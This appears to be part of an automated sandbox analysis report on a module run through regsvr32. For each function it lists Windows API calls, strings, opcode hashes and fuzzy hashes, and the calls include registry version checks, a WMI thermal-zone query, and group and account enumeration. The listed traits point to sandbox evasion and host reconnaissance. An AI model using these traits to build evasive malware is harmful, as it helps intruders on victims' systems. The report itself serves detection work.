Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: FindNextVolumememcpymemset
String ID:
API String ID: 3717567422-0
Opcode ID: 893e2f60b9d4348fc013897b7af0759ed3ea8f91343f5dc91cd62bf81765715d
Instruction ID: 23fec247500d527bafc7a25127a3c991bb801d61019c77be311b8ad48c66191c
Opcode Fuzzy Hash: 893e2f60b9d4348fc013897b7af0759ed3ea8f91343f5dc91cd62bf81765715d
Instruction Fuzzy Hash: 7FC1CF62B1E64391EB20AB119820B7A66A0FF85794F545235EEBD877FEDF3CE5408700

Function 00007FFDFB265AA0 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FFDFB265B2C
TlsGetValue.KERNEL32 ref: 00007FFDFB265D08
TlsSetValue.KERNEL32 ref: 00007FFDFB265D18
TlsGetValue.KERNEL32 ref: 00007FFDFB265D6E

Strings

tz%, xrefs: 00007FFDFB266121
[_^A^, xrefs: 00007FFDFB266193

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Value
String ID: [_^A^$tz%
API String ID: 3702945584-1242015645
Opcode ID: 797e1611b7df3e60906837c21a4aba0a3844e2732ac52dfb3dcd776a591eb48a
Instruction ID: 59a667de009954f03e5663f67d0a55525bf0f9b6872d81a5820bf4eaf8f00eb6
Opcode Fuzzy Hash: 797e1611b7df3e60906837c21a4aba0a3844e2732ac52dfb3dcd776a591eb48a
Instruction Fuzzy Hash: A3C1BE21A0DAC685F7265B18E015BF9A3A1FF94784F049231EE9C437B9EF3DE5928740

Function 00007FFDFB2BB1A0 Relevance: 9.2, APIs: 6, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB2A85E0: GetFileInformationByHandleEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFDFB2BB2B2), ref: 00007FFDFB2A8643

CreateFileMappingA.KERNEL32 ref: 00007FFDFB2BB396
MapViewOfFile.KERNEL32 ref: 00007FFDFB2BB3B6
CloseHandle.KERNEL32 ref: 00007FFDFB2BB3C1
CloseHandle.KERNEL32 ref: 00007FFDFB2BB3EA
GetLastError.KERNEL32 ref: 00007FFDFB2BB3F1
CloseHandle.KERNEL32 ref: 00007FFDFB2BB400

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Handle$CloseFile$CreateErrorInformationLastMappingView
String ID:
API String ID: 2964106993-0
Opcode ID: 46c435033f59a7bf043528f6e285008444851c04b5c2a5e6632f5bc58c1fef0e
Instruction ID: 0e0a40be59b969dd7d0826ee0f6259cddbd7414fd54d920aa17d77e4f6cca2aa
Opcode Fuzzy Hash: 46c435033f59a7bf043528f6e285008444851c04b5c2a5e6632f5bc58c1fef0e
Instruction Fuzzy Hash: DD618026B1A74389FB14EB52A468BAD67A0FF45B84F588035DE6C47BD9DF3CD4428700

Function 00007FFDFB222C00 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 255registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32 ref: 00007FFDFB222DA3
RegCloseKey.ADVAPI32 ref: 00007FFDFB222EAA
RegCloseKey.ADVAPI32 ref: 00007FFDFB222F37
RegCloseKey.ADVAPI32 ref: 00007FFDFB222FB2

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersionProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber (), xrefs: 00007FFDFB222C1C

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Close$QueryValue
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersionProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber ()
API String ID: 2393043351-1421764643
Opcode ID: 37bdbc64dc4ee0f6554d1c47c5daf685297dccc14b4500a23452d55a4f32dc48
Instruction ID: 59038edde3e856e6b07de7f313aaf5a8e65ef59d1139074e6086d5473cc22b92
Opcode Fuzzy Hash: 37bdbc64dc4ee0f6554d1c47c5daf685297dccc14b4500a23452d55a4f32dc48
Instruction Fuzzy Hash: 90B1A56270E64281FB60AB11E460B6AA7A1FF857C4F948035EE9D87BEDDF3DD0458B00

Function 00007FFDFB2149C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00007FFDFB2149FF
SysFreeString.OLEAUT32 ref: 00007FFDFB214AE1
SysFreeString.OLEAUT32 ref: 00007FFDFB214AEB

Strings

SELECT * FROM MSAcpi_ThermalZoneTemperature, xrefs: 00007FFDFB2149F8
WQL, xrefs: 00007FFDFB2149E4

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: String$Free$Alloc
String ID: SELECT * FROM MSAcpi_ThermalZoneTemperature$WQL
API String ID: 986138563-2989581318
Opcode ID: 658a9729fa7da1c980123d83f3d7fafd5fe1a0a70849b059b14dfac0b28b85ee
Instruction ID: 616835a12d8fb6f6f24c543b5aca1d31447442c7ee8241d1dcb36b295f89f9e7
Opcode Fuzzy Hash: 658a9729fa7da1c980123d83f3d7fafd5fe1a0a70849b059b14dfac0b28b85ee
Instruction Fuzzy Hash: 51515122709B8692E720DB11F4207AAA7A4FB85798F544134EFED83AE9DF7CD584C740

Function 00007FFDFB279AC0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB279F4E
memcpy.MSVCRT ref: 00007FFDFB279F85

Strings

assertion failed: new_left_len <= CAPACITY, xrefs: 00007FFDFB279E87, 00007FFDFB27A283
assertion failed: old_left_len + count <= CAPACITY, xrefs: 00007FFDFB279A72
assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FFDFB27A853

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY$assertion failed: old_left_len + count <= CAPACITY
API String ID: 3510742995-3535459961
Opcode ID: 3147cd9bec5455f8381a4590b6d458bf6c2bccac19a2f16f1c716521a064f311
Instruction ID: 6a608465f365438b06229ac2e42afb6d7e5d7365ad44340c6bbb87cde1ecd3d3
Opcode Fuzzy Hash: 3147cd9bec5455f8381a4590b6d458bf6c2bccac19a2f16f1c716521a064f311
Instruction Fuzzy Hash: 5F918F22A05BC6C5E711CF25E8517F933A4FB58788F508222DE9C577A9EF39E296C300

Function 00007FFDFB2273C0 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

NetGroupEnum.NETAPI32 ref: 00007FFDFB227486
NetGroupGetInfo.NETAPI32 ref: 00007FFDFB2274EB
NetApiBufferFree.NETAPI32 ref: 00007FFDFB22760E

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Group$BufferEnumFreeInfo
String ID:
API String ID: 1408970584-0
Opcode ID: de2e23d406a60351ee1f1488efb2de6b994ec15f20dea07c54d47d376994b3cc
Instruction ID: 48c666a82e22dc01541fe64f6520c00c73bcb45554404544d046c8e538a6576f
Opcode Fuzzy Hash: de2e23d406a60351ee1f1488efb2de6b994ec15f20dea07c54d47d376994b3cc
Instruction Fuzzy Hash: 6A616F2270EA4286FB609A15E550B6AB7A0FB85784F944035EEAD877FCDF7CE841C740

Function 00007FFDFB22EBC0 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

realloc.MSVCRT ref: 00007FFDFB22EBF7
free.MSVCRT ref: 00007FFDFB22ECA7
free.MSVCRT ref: 00007FFDFB22ECF8
free.MSVCRT ref: 00007FFDFB22ED4C
free.MSVCRT ref: 00007FFDFB22ED5F

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: free$realloc
String ID:
API String ID: 3347955621-0
Opcode ID: 30e183f32c5a1b91f64513b32134c7c85a39b5a2d9b63cc12b0367f48bc863b8
Instruction ID: 5d1e1f517c9d6e69941d12a8804b035abf47bf878497e9fd80cf7ffb2f87f4b2
Opcode Fuzzy Hash: 30e183f32c5a1b91f64513b32134c7c85a39b5a2d9b63cc12b0367f48bc863b8
Instruction Fuzzy Hash: 1451E422B0A78782F710AB11E5507BA67A4EB84784F545134EEED47BE9EF3CE485C300

Function 00007FFDFB2AF180 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

GetOverlappedResult.KERNEL32(00007FFDFB26CDC4), ref: 00007FFDFB2AF1C1
GetLastError.KERNEL32(00007FFDFB26CDC4), ref: 00007FFDFB2AF1DE
GetLastError.KERNEL32(00007FFDFB26CDC4), ref: 00007FFDFB2AF23C
CompareStringOrdinal.KERNEL32 ref: 00007FFDFB2AF2A9
GetLastError.KERNEL32 ref: 00007FFDFB2AF2BE

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$CompareOrdinalOverlappedResultString
String ID:
API String ID: 1037094402-0
Opcode ID: b5b8a6445f965e287ab3a70ddeb87559af975b7d62a191e1c959eff2ef60592b
Instruction ID: da2bf30532a8db291271a12c700e1c2f7f9a4f84ef8b8dd61c155c1b60ca285e
Opcode Fuzzy Hash: b5b8a6445f965e287ab3a70ddeb87559af975b7d62a191e1c959eff2ef60592b
Instruction Fuzzy Hash: BB419136B0AB429AE714AB11D8607BC27A4FB48B88F544131DE9D877E9DF7CE542C300

Function 00007FFDFB22C20F Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

LsaFreeReturnBuffer.SECUR32 ref: 00007FFDFB22C23E
LsaFreeReturnBuffer.SECUR32 ref: 00007FFDFB22C251
NetApiBufferFree.NETAPI32 ref: 00007FFDFB22C2E1
NetApiBufferFree.NETAPI32 ref: 00007FFDFB22C2F0
memcmp.MSVCRT ref: 00007FFDFB22C34A

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: BufferFree$Return$memcmp
String ID:
API String ID: 3486352366-0
Opcode ID: 0c16cb222a3a48fd4da08c14caa007e5563a0fc06241afcabd18d8df6be5f5aa
Instruction ID: c740ff6684da62050c09a975f4befe7c6a31ca1af4f4eef6383966648e79751a
Opcode Fuzzy Hash: 0c16cb222a3a48fd4da08c14caa007e5563a0fc06241afcabd18d8df6be5f5aa
Instruction Fuzzy Hash: 70219215B0F54742FF24AA5E9460AB96290AF85BC4F884935EE7DC7FE9CE2CE4428341

Function 00007FFDFB22C22E Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

LsaFreeReturnBuffer.SECUR32 ref: 00007FFDFB22C23E
LsaFreeReturnBuffer.SECUR32 ref: 00007FFDFB22C251
NetApiBufferFree.NETAPI32 ref: 00007FFDFB22C2E1
NetApiBufferFree.NETAPI32 ref: 00007FFDFB22C2F0
memcmp.MSVCRT ref: 00007FFDFB22C34A

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: BufferFree$Return$memcmp
String ID:
API String ID: 3486352366-0
Opcode ID: 90e61ff390e64d9a7f70382ec595c1ca15daf3d469f168c875f0c8e9d41fb5f6
Instruction ID: 2042bab35f1bfc68255f706b338404efed52da62ed97ed1f0ac73b6b0d1e9a63
Opcode Fuzzy Hash: 90e61ff390e64d9a7f70382ec595c1ca15daf3d469f168c875f0c8e9d41fb5f6
Instruction Fuzzy Hash: A6115415B4F58741FF24AA5A94609B95250AF85BC4F480535DE7DC7FE9CE2CE4428341

Function 00007FFDFB222160 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FFDFB2222EA
RegQueryValueExW.ADVAPI32 ref: 00007FFDFB222384
RegCloseKey.ADVAPI32 ref: 00007FFDFB2223CA

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersionProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber (), xrefs: 00007FFDFB22224B

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersionProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber ()
API String ID: 3677997916-1421764643
Opcode ID: 0fda1c673ceca58a43ee99b34e4de1fe7cf74656078fc208c6b6d16f2b320241
Instruction ID: 13afd691cc1d10734d033a8a9809d06402aba43130bb86101a399cf63c2ca059
Opcode Fuzzy Hash: 0fda1c673ceca58a43ee99b34e4de1fe7cf74656078fc208c6b6d16f2b320241
Instruction Fuzzy Hash: DE91827270AB8285EB60AB15E4507AAB7A4FB80780F905135EEDD87BADDF7DD144CB00

Function 00007FFDFB2C09D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FFDFB30283B

Strings

CCG , xrefs: 00007FFDFB302836
TSUR, xrefs: 00007FFDFB2C0A74
TSUR, xrefs: 00007FFDFB2C09E5

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ExceptionRaise
String ID: CCG $TSUR$TSUR
API String ID: 3997070919-4029986600
Opcode ID: be21714f870a850417e1f2207fbd5bcc78359ae89a568a8ef9cec64fd3aff9e3
Instruction ID: 1c28ff365d7dd7312d5936c93d9bddf86ee10a9c27c4170ca7b790d2f0842abe
Opcode Fuzzy Hash: be21714f870a850417e1f2207fbd5bcc78359ae89a568a8ef9cec64fd3aff9e3
Instruction Fuzzy Hash: B831C322F29B8682E714DB5598106F92760FFD9B84F45D235EE9D437A4EF3891E5C300

Function 00007FFDFB29E770 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 314COMMON

Download Yara Rule

Strings

assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FFDFB29E8C5, 00007FFDFB29EA2A
.Components, xrefs: 00007FFDFB29E97F, 00007FFDFB29EAAF
exe\\.\NULexit code: , xrefs: 00007FFDFB29E9D8

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID:
String ID: .Components$assertion failed: is_code_point_boundary(self, new_len)$exe\\.\NULexit code:
API String ID: 0-953524122
Opcode ID: 7d4296cb1a4e65ccedb1eee6053b9f0395c84f6846f89eec99184c3211c2cba0
Instruction ID: ee76671458da2ba655f13a69df5f99c602c1b97df47be3b7845ab015edef8f29
Opcode Fuzzy Hash: 7d4296cb1a4e65ccedb1eee6053b9f0395c84f6846f89eec99184c3211c2cba0
Instruction Fuzzy Hash: C0B1D571B0BA5385FF55AB6194A4AB92691BF04BC8F048835CD2D977FDEE3CE44A9300

Function 00007FFDFB215200 Relevance: 6.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

APIs

LookupAccountSidW.ADVAPI32 ref: 00007FFDFB215258
LookupAccountSidW.ADVAPI32 ref: 00007FFDFB2152E2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FFDFB215406
LocalFree.KERNEL32 ref: 00007FFDFB21548B

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: AccountLookup$ConvertFreeLocalString
String ID:
API String ID: 2884463747-0
Opcode ID: 160e9365936cf7a0d4c89d484a12c7d80f063699b75887e0aac085e33207f3b9
